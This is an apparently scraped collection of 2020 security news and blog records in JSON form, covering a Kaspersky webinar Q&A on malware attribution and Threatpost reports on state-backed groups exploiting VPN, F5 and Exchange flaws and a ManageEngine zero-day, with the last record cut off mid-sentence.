Strings? Packer? Code? What else?_ \nKTAE uses genotypes to match similarities.\n 20. _How do I make a difference, if for example, I am a threat actor and reuse the code form some APT Group? How to define it is really the same actor and not just an impersonator who used the same code or malware, or reused the malware for my operation?_ \nKTAE handles code similarities for malware samples to provide relevant information on that basis. Further information to be used for attribution may be TTPs, etc. for which you may find our [Kaspersky Threat Intelligence Services](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) helpful.\n 21. _I guess the follow-up is,- will they be able to evade the attribution after watching these webinars, learning about the attribution engine?_ \nIt's known that such techniques can be used to do technical attribution on malware-sample basis. Attempts at evading these would mean knowing all the details and metrics and database entries (including updates) to check against something rather complex and difficult.\n 22. _Can you start taking the samples submitted by CYBERCOM and just post publicly what KTAE says in the future?_ \nWe are posting certain interesting findings, e.g. on Twitter.\n 23. _How do we buy KTAE? Is it a private instance in our own org or hosted by you?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 24. _Can you expand on how you identify a genotype and determine that it is unique?_ \nGenotypes are unique fragments of code, extracted from a malware sample. As for uniqueness, there is a good reference: the Fruit Ninja Game. We played Fruit Ninja and extracted (sliced) genotypes from all good programs that are known to us, then we did the same with malicious samples and samples marked as APTs. After that operation, we knew all genotypes that belonged to good programs and removed them from the databases that belonged to bad ones. We also save the numbers of times genotypes appear in the samples, so we can identify the really unique stuff.\n 25. _How many zero-day vendors do you see with this engine?_ \nKTAE is not handling vulnerabilities but only code fragments and such, for similarity checks.\n 26. _In the future, do you see a product like KTAE being integrated into security offerings from Kaspersky, so that samples can be automatically scanned when detected as an alert, as opposed to individually uploading them?_ \nWe are planning to do cross-product integration.\n 27. _Have you run The Shadowbrokers samples through KTAE and if so, were there any unexpected overlaps?_ \nYes, we did. We found an overlap between Regin samples and cnli-1.dll\n 28. _Could it be easy for a threat actor to change code to avoid KTAE identification?_ \nTheoretically, yes. Assuming they produce never-before-seen genotypes, KTAE might miss classifying that malware. With that being said, generating completely new genotypes requires a lot of time and money, plus a lot of careful work. We wish threat actors good luck with that. \ud83d\ude42\n 29. _When you attribute a campaign, do you also consider some aspects relating to sociopolitical events?_ \nAt Kaspersky, we only do technical attribution, such as based on similarities in malware samples or TTPs of groups; we don't do attribution on any entity, geopolitical or social level.\n\n## Questions about IoT threats and honeypots\n\nIf you want to join our honeypot project, please get in touch with us at honeypots@kaspersky.com.\n\n 30. _Do you have any IoT dataset available for academia?_ \nPlease get in touch with us via our email address listed above (honeypots@kaspersky.com).\n 31. _How does a system choose which honeypots to direct an attack at?_ \nWe developed this modular and flexible infrastructure with defined policies to handle that automatically, based on the attack.\n 32. _Okay, so, soon, IoT malware will do a vmcheck before it loads\u2026. Then what?_ \nIn our honeypots, we use our own methods to defeat anti-VM checks. Depending on future development of malware, we are also prepared to adjust these to match actual vmcheck methods.\n 33. _Do the honeypots support threat intelligence formats like STIX and TAXII?_ \nCurrently, such a feature is not available yet. If there is interest, we can implement this to improve the use for our partners.\n 34. _Can anyone partner with you guys? Or do they need certain visibility or infrastructure to help out?_ \nAnyone with a spare IP-address and able to host a Linux system to receive attacks can participate. Please get in touch with us at honeypots[at]kaspersky[dot]com.\n\n## Questions about Kaspersky products and services\n\n 35. _What new technology has Kaspersky implemented in their endpoint product? As EDR is the latest emerging technology, has Kaspersky implemented it in their endpoint product?_ \nKaspersky Endpoint product contains EDR besides other cutting-edge technologies. There are more details listed here on [the product page](<https://www.kaspersky.com/enterprise-security/endpoint-product>).\n 36. _What do you think of the Microsoft Exchange Memory Corruption Vulnerability bug? How can Kaspersky save the host system in such attacks?_ \nWe should know the CVE number of the bug the question refers to. From what we know, one of "loud" bugs that was fixed recently was CVE-2020-0688. It is referenced [here](<https://support.microsoft.com/en-us/help/4536987/security-update-for-exchange-server-2019-and-2016>). We detect this vulnerability in our products using the Behavior Detection component with the verdict name: PDM:Exploit.Win32.GenericAlso, Kaspersky products have vulnerability scanners that notify you about vulnerabilities in installed software, and we also [provide](<https://www.kaspersky.com/small-to-medium-business-security/downloads/systems-management>) a patch management solution for business environments that helps system administrators handle software updates for all computers and servers on the corporate network.\n 37. _How can a private DNS protect the Host System from attacks?_ \nWhile DNS is a key component of the Internet, disrupting DNS queries can impact a large portion of Internet users. We know for sure the people running DNS Root servers are professionals and know their job really well, so we are not worried that much about Root servers being disrupted. Unfortunately, attackers sometimes focus on specific DNS resolvers and manage to disrupt large portions of the Internet, as in the [2016 DDoS against the Dyn DNS resolver](<https://en.wikipedia.org/wiki/2016_Dyn_cyberattack>). Although it is limited in its use, a private DNS system can protect against large DDoS attacks, because it will be private and may be harder to reach by the attackers.\n\n## Advanced questions raised\n\nWe are not afraid of tough questions; therefore, we did not filter out the following ones.\n\n 38. _Where can we get one of those shirts Costin is wearing?_ \nWe are about to launch a GReAT merchandise shop soon \u2013 stay tuned.\n 39. _Who cut Jeff's hair?_ \nEdward Scissorhands. He's a real artist. Can recommend.\n 40. _Did Costin get a share from the outfits found in the green Lambert's house when it got raided?_ \nWe can neither confirm nor deny.\n 41. _Who is a better football team, Steelers or Ravens?_ \nFootball? Is that the game where they throw frisbees?\n\nWe hope you find these answers useful. The next series of the GReAT Ideas. Powered by SAS webinars, where we will share more of our insights and research, will take place on July 22. You can register for the event here: <https://kas.pr/gi-sec>\n\nAs we promised, some of the best questions asked during the webinar will be awarded with a prize from the GReAT Team. The winning questions are: \n"Are there any hacker for hire groups that are at the very top level? How many hackers-for-hire groups do you see? Are there any hacker for hire groups coming out of the west?" \n"Can you expand on how you identify a genotype and determine that it is unique?"\n\nWe will contact those who submitted these questions shortly.\n\nFeel free to follow us on Twitter and other social networks for updates, and feel free to reach out to us to discuss interesting topics.\n\nOn Twitter:\n\n * Costin Raiu: @craiu\n * Kurt Baumgartner: @k_sec\n * Denis Legezo: @legezo\n * Dan Demeter: @_xdanx\n * Marco Preuss: @marco_preuss\n * Yury Namestnikov: @SomeGoodOmens", "cvss3": {}, "published": "2020-07-15T10:00:13", "type": "securelist", "title": "GReAT Ideas follow-up", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-07-15T10:00:13", "id": "SECURELIST:F05591B26EFD622E6C72E180A7A47154", "href": "https://securelist.com/great-ideas-follow-up/97816/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-09-01T21:47:35", "description": "An APT group known as Pioneer Kitten, linked to Iran, has been spotted selling corporate-network credentials on hacker forums. The credentials would let other cybercriminal groups and APTs perform cyberespionage and other nefarious cyber-activity.\n\nPioneer Kitten is a hacker group that specializes in infiltrating corporate networks using open-source tools to compromise remote external services. Researchers observed an actor associated with the group advertising access to compromised networks on an underground forum in July, according to a [blog post](<https://www.crowdstrike.com/blog/who-is-pioneer-kitten/>) Monday from Alex Orleans, a senior intelligence analyst at CrowdStrike Intelligence.\n\nPioneer Kitten\u2019s work is related to other groups either sponsored or run by the Iranian government, which [were previously seen](<https://www.zdnet.com/article/iranian-hackers-have-been-hacking-vpn-servers-to-plant-backdoors-in-companies-around-the-world/>) hacking VPNs and planting backdoors in companies around the world.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIndeed, the credential sales on hacker forums seem to suggest \u201ca potential attempt at revenue stream diversification\u201d to complement \u201cits targeted intrusions in support of the Iranian government,\u201d Orleans wrote. However, Pioneer Kitten, which has been around since 2017, does not appear to be directly operated by the Iranian government but is rather sympathetic to the regime and likely a private contractor, Orleans noted.\n\nPioneer Kitten\u2019s chief mode of operations is its reliance on SSH tunneling, using open-source tools such as Ngrok and a custom tool called SSHMinion, he wrote. The group uses these tools to communicate \u201cwith implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP)\u201d to exploit vulnerabilities in VPNs and network appliances to do its dirty work, Orleans explained.\n\nCrowdStrike observed the group leveraging several critical exploits in particular \u2014 [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and most recently, [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>). All three are exploits affect VPNs and networking equipment, including Pulse Secure \u201cConnect\u201d enterprise VPNs, Citrix servers and network gateways, and F5 Networks BIG-IP load balancers, respectively.\n\nPioneer Kitten\u2019s targets are North American and Israeli organizations in various sectors that represent some type of intelligence interest to the Iranian government, according to CrowdStrike. Target sectors run the gamut and include technology, government, defense, healthcare, aviation, media, academic, engineering, consulting and professional services, chemical, manufacturing, financial services, insurance and retail.\n\nWhile not as well-known or widespread in its activity as other nation-state threats such as China and Russia, Iran has emerged in recent years as a formidable cyber-enemy, amassing a number of APTs to mount attacks on its political adversaries.\n\nOf these, Charming Kitten\u2014which also goes by the names APT35, Ajax or Phosphorus\u2014appears to be the most active and dangerous, while others bearing similar names seem to be spin-offs or support groups. Iran overall appears to be ramping up its cyber-activity lately. CrowdStrike\u2019s report actually comes on the heels of news that Charming Kitten also has [resurfaced recently. ](<https://threatpost.com/charming-kitten-whatsapp-linkedin-effort/158813/>)A new campaign is using LinkedIn and WhatsApp to convince targets \u2014 including Israeli university scholars and U.S. government employees \u2014 to click on a malicious link that can steal credentials.\n\nOperating since 2014, Charming Kitten is known for politically motivated and socially engineered attacks, and often uses phishing as its attack of choice. Targets of the APT, which uses clever social engineering to snare victims, have been [email accounts](<https://threatpost.com/iran-linked-hackers-target-trump-2020-campaign-microsoft-says/148931/>) tied to the Trump 2020 re-election campaign and [public figures and human-rights activists](<https://threatpost.com/charming-kitten-uses-fake-interview-requests-to-target-public-figures/152628/>), among others.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Register today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-09-01T13:35:19", "type": "threatpost", "title": "Pioneer Kitten APT Sells Corporate Network Access", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902"], "modified": "2020-09-01T13:35:19", "id": "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "href": "https://threatpost.com/pioneer-kitten-apt-sells-corporate-network-access/158833/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-07-16T19:56:37", "description": "The advanced threat actor known as APT29 has been hard at work attempting to pilfer COVID-19 vaccine research from academic and pharmaceutical research institutions in various countries around the world, including the U.S.\n\nThat\u2019s according to a joint alert from the U.S. Department of Homeland Security (DHS), the U.K.\u2019s National Cyber Security Centre (NCSC) and Canada\u2019s Communications Security Establishment (CSE), [issued Thursday](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>).\n\nThe 14-page advisory details the recent activity of Russia-linked APT29 (a.k.a. CozyBear or the Dukes), including the use of custom malware called \u201cWellMess\u201d and \u201cWellMail\u201d for data exfiltration.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThroughout 2020, APT29 has targeted various organizations involved in COVID-19 vaccine development in Canada, the United States and the United Kingdom, highly likely with the intention of stealing information and intellectual property relating to the development and testing of COVID-19 vaccines,\u201d the report noted.\n\nThis specific activity was seen starting in April, but security researchers noted that nation-state espionage targeted to coronavirus treatments and cures [has been a phenomenon all year](<https://threatpost.com/nation-backed-apts-covid-19-spy-attacks/155082/>).\n\n\u201cCOVID-19 is an existential threat to every government in the world, so it\u2019s no surprise that cyber-espionage capabilities are being used to gather intelligence on a cure,\u201d said John Hultquist, senior director of analysis at Mandiant Threat Intelligence, via email. \u201cThe organizations developing vaccines and treatments for the virus are being heavily targeted by Russian, Iranian and Chinese actors seeking a leg up on their own research. We\u2019ve also seen significant COVID-related targeting of governments that began as early as January.\u201d\n\n## **Exploits in Play**\n\nTo mount the attacks, APT29 is using exploits for known vulnerabilities to gain initial access to targets, according to the analysis, along with spearphishing to obtain authentication credentials to internet-accessible login pages for target organizations. The exploits in rotation include the recent [Citrix code-injection bug](<https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/>) (CVE-2019-19781); a publicized [Pulse Secure VPN flaw](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) (CVE-2019-11510); and issues in FortiGate (CVE-2018-13379) and Zimbra (CVE-2019-9670).\n\n\u201cThe group conducted basic vulnerability scanning against specific external IP addresses owned by the [targeted] organizations,\u201d according to the report. \u201cThe group then deployed public exploits against the vulnerable services identified. The group has been successful using recently published exploits to gain initial footholds.\u201d\n\nOnce a system is compromised, the group then looks to obtain additional authentication credentials to allow further access and spread laterally.\n\n## **Custom Malware**\n\nOnce established in a network, APT29 is employing homegrown malware that the NCSC is calling WellMess and WellMail, to conduct further operations on the victim\u2019s system and exfiltrate data.\n\nWellMess, first discovered in July 2018, is malware that comes in Golang or .NET versions and supports HTTP, TLS and DNS for communications.\n\nNamed after one of the function names in the malware, \u201cWellMess is a lightweight malware designed to execute arbitrary shell commands, upload and download files,\u201d according to the advisory.\n\nWellMail malware meanwhile, named after file paths containing the word \u2018mail\u2019 and the use of server port 25, is also lightweight \u2013 and is designed to run commands or scripts while communicating with a hardcoded command-and-control (C2) server.\n\n\u201cThe binary is an ELF utility written in Golang which receives a command or script to be run through the Linux shell,\u201d according to the NCSC. \u201cTo our knowledge, WellMail has not been previously named in the public domain.\u201d\n\nBoth malwares uses hard-coded client and certificate authority TLS certificates to communicate with their C2 servers.\n\n\u201cWellMess and WellMail samples contained TLS certificates with the hard-coded subjectKeyIdentifier (SKI) \u20180102030406\u2019, and used the subjects \u2018C=Tunis, O=IT\u2019 and \u2018O=GMO GlobalSign, Inc\u2019 respectively,\u201d detailed the report. \u201cThese certificates can be used to identify further malware samples and infrastructure. Servers with this GlobalSign certificate subject may be used for other functions in addition to WellMail malware communications.\u201d\n\nAPT29 is also using another malware, dubbed \u2018SoreFang\u2019 by the NCSC, which is a first-stage downloader that uses HTTP to exfiltrate victim information and download second-stage malware. It\u2019s using the same C2 infrastructure as a WellMess sample, the agencies concluded.\n\nThis sample is not a custom job: \u201cIt is likely that SoreFang targets SangFor devices. Industry reporting indicates that other actors, reportedly including [DarkHotel](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>), have also targeted SangFor devices,\u201d noted the NCSC.\n\n## **APT29: A Sporadically High-Profile Threat**\n\n[APT29](<https://attack.mitre.org/groups/G0016/>) has long been seen targeting high-value targets across the think-tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government and defense contracting sectors.\n\nThe group is is perhaps best-known for the [intrusion](<https://threatpost.com/dnc-hacked-research-on-trump-stolen/118656/>) at the Democratic National Committee ahead of the U.S. presidential election in 2016. It was also implicated in [a widespread phishing campaign](<https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/>) in November 2016, in attacks against the White House, State Department and Joint Chiefs of Staff.\n\nIt was next seen in November 2017 [executing a Tor backdoor](<https://threatpost.com/apt29-used-domain-fronting-tor-to-execute-backdoor/124582/>), and then [it reemerged](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) in 2018 with a widespread espionage campaign against military, media and public-sector targets.\n\nIts history stretches back a few years though: It [was also seen](<https://threatpost.com/white-house-state-department-counted-among-cozyduke-apt-victims/112382/>) by Kaspersky Lab carrying out data-mining attacks against the White House and the Department of State in 2014.\n\nResearchers from firms [like Mandiant](<https://www.fireeye.com/current-threats/apt-groups/rpt-apt29.html>) believe APT29 to be linked to Russian government-backed operations \u2013 an assessment that the DHS and NCSC reiterated in the latest advisory, saying that it is \u201calmost certainly part of the Russian intelligence services.\u201d\n\nWhile its publicly profiled activity tends to be sporadic, APT29 is rarely at rest, according to Mandiant\u2019s Hultquist.\n\n\u201cDespite involvement in several high-profile incidents, APT29 rarely receives the same attention as other Russian actors because they tend to quietly focus on intelligence collection,\u201d he said via email. \u201cWhereas GRU actors have brazenly leaked documents and carried out destructive attacks, APT29 digs in for the long term, siphoning intelligence away from its target.\u201d\n\nThis latest case is no exception to that M.O., according to the advisory: \u201cAPT29 is likely to continue to target organizations involved in COVID-19 vaccine research and development, as they seek to answer additional intelligence questions relating to the pandemic,\u201d the agencies concluded.\n\nThat said, at least one researcher warned that the end-game of the activity might be more nefarious than simply getting a leg up on a cure.\n\n\u201cAPT29 (Cozy Bear, Office Monkeys) has successfully demonstrated the extension of nation-state power through cyber-action for more than a dozen years,\u201d Michael Daly, CTO at Raytheon Intelligence & Space, said via email. \u201cHowever, they are not focused on simple intellectual property theft. Instead, their focus is rooted in influence operations \u2013 the changing of hearts and minds to thwart and diminish the power of governments and organizations.\u201d\n\nHe added, \u201cIn the case of this breach of vaccine research centers, we should be most concerned not that someone else might also get a vaccine, but that the information will be used to undermine the confidence of the public in the safety or efficacy of the vaccines, slowing their adoption, or in some way cause their release to be delayed. The effect of such a delay would be both impactful to the health of Western populations, but also to the social stability and economic stability of the West.\u201d\n", "cvss3": {}, "published": "2020-07-16T18:05:20", "type": "threatpost", "title": "Hackers Look to Steal COVID-19 Vaccine Research", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670"], "modified": "2020-07-16T18:05:20", "id": "THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "href": "https://threatpost.com/state-sponsored-hackers-steal-covid-19-vaccine-research/157514/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-10T12:44:24", "description": "UPDATE\n\nA zero-day vulnerability has been disclosed in the IT help desk ManageEngine software made by Zoho Corp. The serious vulnerability enables an unauthenticated, remote attacker to launch attacks on affected systems. Zoho has now [released a security update](<https://www.us-cert.gov/ncas/current-activity/2020/03/06/zoho-releases-security-update-manageengine-desktop-central>) addressing the vulnerability.\n\nAs of Monday, March 9, the vulnerability has been observed being actively exploited in the wild, according to a [Center for Internet Security advisory](<https://www.cisecurity.org/advisory/a-vulnerability-in-manageengine-desktop-central-could-allow-for-remote-code-execution_2020-033/>).\n\nThe vulnerability, [first reported by ZDNet](<https://www.zdnet.com/article/zoho-zero-day-published-on-twitter/#ftag=RSSbaffb68>), exists in Zoho ManageEngine Desktop Central, an endpoint management tool to help users manage their servers, laptops, smartphones, and more from a central location. Steven Seeley of Source Incite, [disclosed the flaw](<https://srcincite.io/advisories/src-2020-0011/>) on Twitter, Thursday, along with a proof of concept (PoC) exploit. According to ZDNet, the enterprise software development company will release a patch for the flaw on Friday.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis vulnerability allows remote attackers to execute arbitrary code on affected installations of ManageEngine Desktop Central. Authentication is not required to exploit this vulnerability,\u201d according to Seeley.\n\nAccording to Seeley, the specific flaw exists within the FileStorage class of the Desktop Central. The FileStorage class is used to store data for reading data to or from a file. The issue results from improper validation of user-supplied data, which can result in deserialization of untrusted data.\n\nSeeley told Threatpost, attacker can leverage this vulnerability to execute code under the context of SYSTEM, giving them \u201cfull control of the target machine\u2026 basically the worst it gets.\u201d\n\n> Since [@zoho](<https://twitter.com/zoho?ref_src=twsrc%5Etfw>) typically ignores researchers, I figured it was OK to share a ManageEngine Desktop Central zero-day exploit with everyone. UnCVE'ed, unpatched and unauthenticated RCE as SYSTEM/root. Enjoy!\n> \n> Advisory: <https://t.co/U9LZPp4l5o> \nExploit: <https://t.co/LtR75bhooy>\n> \n> \u2014 \u03fb\u0433_\u03fb\u03b5 (@steventseeley) [March 5, 2020](<https://twitter.com/steventseeley/status/1235635108498948096?ref_src=twsrc%5Etfw>)\n\nAccording to Seeley, who also posted a [PoC attack for the flaw on Twitter](<https://srcincite.io/pocs/src-2020-0011.py.txt>), the vulnerability ranks 9.8 out of 10.0 on the CVSS scale, making it critical in severity. Nate Warfield, a security researcher with Microsoft, pointed to[ at least 2,300](<https://twitter.com/n0x08/status/1235637306838532096>) Zoho systems potentially exposed online.\n\nRick Holland, CISO and vice president of strategy at Digital Shadows, said if an attacker can compromise a solution like ManageEngine, they have an \u201copen season\u201d on a target company\u2019s environment.\n\n\u201cAn attacker has a myriad of options not limited to: accelerating reconnaissance of the target environment, deploying their malware including ransomware, or even remotely monitor users\u2019 machines,\u201d Holland told Threatpost. \u201cGiven that this vulnerability enables unauthenticated remote execution of code, it is even more vital that companies deploy a patch as soon as it becomes available. Internet-facing deployments of Desktop Central should be taken offline immediately.\u201d\n\nThreatpost has reached out to Zoho via email and Twitter for further comment; the company has not yet responded. However Zoho said on Twitter, \u201cwe have identified the issue and are working on a patch with top priority. We will update once it is done.\u201d\n\n> We have identified the issue and are working on a patch with top priority. We will update once it is done. ^BG\n> \n> \u2014 Zoho (@zoho) [March 6, 2020](<https://twitter.com/zoho/status/1235811733194682368?ref_src=twsrc%5Etfw>)\n\nSeeley told Threatpost that he didn\u2019t contact Zoho before disclosing the vulnerability due to negative previous experiences with the company regarding vulnerability disclosure. \u201cI have in the past for other critical vulnerabilities and they ignored me,\u201d he said.\n\nThis lack of responsible disclosure has drawn mixed opinions from security experts. Some, like Rui Lopes, engineering and technical support director at Panda Security, told Threatpost that the incident could leave vulnerable systems open to bad actors.\n\n\u201cThere seems to be some breakdown of communication between independent researchers and the solution vendors who offer centralized IT management platforms, which inevitably leads to inefficient patching protocols and the exposure of sensitive information that arms bad actors with threat vectors that would be otherwise unknown.\u201d\n\nTim Wade, technical director of the CTO Team at Vectra, told Threatpost that the incident highlights the need for better relationships between security researchers and organizations.\n\n\u201cAllegedly, Zoho\u2019s reputation for ignoring security researchers who\u2019ve found exploitable bugs in their products factored into the decision for a direct release,\u201d he said. \u201cWhile the merits of this decision may be discussed fairly from multiple perspectives, at a minimum it underscores the need for software organizations to foster better relationships with the security community, and the seriousness of failing to do so.\u201d\n\nResearchers previously found multiple critical flaws in 2018 in Zoho\u2019s [ManageEngine software](<https://threatpost.com/multiple-critical-flaws-found-in-zohos-manageengine/129709/>). In all, seven vulnerabilities were discovered, each allowing an attacker to ultimately take control of host servers running ManageEngine\u2019s SaaS suite of applications. Also previously a massive number of [keylogger phishing campaigns](<https://threatpost.com/keyloggers-turn-to-zoho-office-suite-in-droves-for-data-exfiltration/137868/>) were seen tied to the Zoho online office suite software; in an analysis, a full 40 percent spotted in October 2018 used a zoho.com or zoho.eu email address to exfiltrate data from victim machines.\n\n_This article was updated Friday at 4:36 pm to reflect that Zoho has released a patch; and on Monday at 4pm to reflect that the flaw is 